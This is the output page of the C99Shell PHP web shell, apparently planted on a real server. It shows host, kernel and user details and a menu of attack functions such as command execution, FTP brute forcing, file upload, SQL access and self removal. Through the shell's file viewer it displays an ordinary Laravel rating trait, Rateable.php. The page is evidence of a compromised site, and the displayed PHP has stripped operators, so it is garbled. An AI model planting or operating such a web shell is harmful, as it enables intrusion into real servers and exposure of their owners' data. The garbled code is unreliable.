!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/willvincent/laravel-rateable/src/   drwxr-xr-x
Free 28.24 GB of 117.98 GB (23.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Rateable.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace willvincent\Rateable;

use 
Illuminate\Support\Facades\Auth;

trait 
Rateable
{
    
/**
     * This model has many ratings.
     *
     * @param mixed $rating
     * @param mixed $value
     *
     * @return Rating
     */
    
public function rate($value)
    {
        
$rating = new Rating();
        
$rating->rating $value;
        
$rating->user_id Auth::id();

        
$this->ratings()->save($rating);
    }

    public function 
rateOnce($value)
    {
        
$rating Rating::query()
            ->
where('rateable_type''='get_class($this))
            ->
where('rateable_id''='$this->id)
            ->
where('user_id''='Auth::id())
            ->
first()
        ;

        if (
$rating) {
            
$rating->rating $value;
            
$rating->save();
        } else {
            
$this->rate($value);
        }
    }

    public function 
ratings()
    {
        return 
$this->morphMany('willvincent\Rateable\Rating''rateable');
    }

    public function 
averageRating()
    {
        return 
$this->ratings()->avg('rating');
    }

    public function 
sumRating()
    {
        return 
$this->ratings()->sum('rating');
    }

    public function 
timesRated()
    {
        return 
$this->ratings()->count();
    }

    public function 
usersRated()
    {
        return 
$this->ratings()->groupBy('user_id')->pluck('user_id')->count();
    }

    public function 
userAverageRating()
    {
        return 
$this->ratings()->where('user_id'Auth::id())->avg('rating');
    }

    public function 
userSumRating()
    {
        return 
$this->ratings()->where('user_id'Auth::id())->sum('rating');
    }

    public function 
ratingPercent($max 5)
    {
        
$quantity $this->ratings()->count();
        
$total $this->sumRating();

        return (
$quantity $max) > $total / (($quantity $max) / 100) : 0;
    }

    
// Getters

    
public function getAverageRatingAttribute()
    {
        return 
$this->averageRating();
    }

    public function 
getSumRatingAttribute()
    {
        return 
$this->sumRating();
    }

    public function 
getUserAverageRatingAttribute()
    {
        return 
$this->userAverageRating();
    }

    public function 
getUserSumRatingAttribute()
    {
        return 
$this->userSumRating();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--